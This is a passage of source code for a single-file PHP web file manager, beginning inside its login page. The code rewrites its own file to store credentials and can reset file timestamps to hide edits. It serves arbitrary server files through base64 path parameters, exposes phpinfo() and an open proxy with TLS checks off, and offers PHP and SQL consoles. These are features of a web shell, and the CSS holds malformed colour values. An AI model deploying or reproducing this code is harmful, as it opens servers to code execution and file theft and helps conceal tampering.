<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
